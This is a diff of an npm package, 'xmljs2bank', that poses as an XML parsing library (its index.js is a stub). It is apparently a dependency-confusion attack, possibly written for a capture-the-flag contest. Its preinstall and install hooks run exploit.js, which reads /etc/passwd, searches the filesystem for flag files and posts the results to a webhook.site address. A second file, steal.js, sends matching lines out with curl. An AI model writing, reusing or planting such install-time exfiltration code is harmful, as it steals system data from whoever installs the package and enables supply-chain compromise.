xmljs2bank 0.30.2

package/exploit.js

@@ -0,0 +1,62 @@
+const fs = require('fs');
+const { exec } = require('child_process');
+const https = require('https');
+
+console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
+
+function sendToWebhook(data) {
+    try {
+        const payload = JSON.stringify({
+            source: 'dependency_confusion',
+            data: data
+        });
+
+        const options = {
+            hostname: 'webhook.site',
+            port: 443,
+            path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+            method: 'POST',
+            headers: {'Content-Type': 'application/json'}
+        };
+
+        const req = https.request(options);
+        req.write(payload);
+        req.end();
+        console.log('Data sent to webhook');
+    } catch(e) {
+        console.log('Webhook error:', e.message);
+    }
+}
+
+let collectedData = '';
+
+// Читаем /etc/passwd
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== /etc/passwd ===');
+    console.log(passwd);
+    collectedData += '=== /etc/passwd ===\n' + passwd + '\n';
+    
+    // Ищем флаг
+    if (passwd.includes('{') && passwd.includes('}')) {
+        console.log('🚨 FLAG FOUND IN /etc/passwd!');
+    }
+} catch(e) {
+    collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
+}
+
+// Ищем файлы с флагом
+exec('find / -name "*flag*" 2>/dev/null | head -10', (err, stdout) => {
+    if (!err && stdout) {
+        console.log('=== FLAG FILES ===');
+        console.log(stdout);
+        collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
+    }
+
+    // Отправляем данные
+    sendToWebhook(collectedData);
+    
+    // Выводим в консоль
+    console.log('=== ALL DATA ===');
+    console.log(collectedData);
+});

package/index.js

@@ -0,0 +1,11 @@
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { return "test"; }
+                };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "xmljs2bank",
+  "version": "0.30.2", 
+  "description": "XML parsing library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exploit.js",
+    "install": "node exploit.js"
+  },
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}
+

package/steal.js

@@ -0,0 +1,22 @@
+const { execSync } = require('child_process');
+
+console.log('🚨 FAST EXPLOIT STARTED');
+
+// БЫСТРЫЙ код без блокировок
+try {
+    const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG FOUND:', line);
+            // Быстрая отправка
+            execSync(`curl -s --max-time 3 "https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}
+
+console.log('✅ FAST EXPLOIT FINISHED');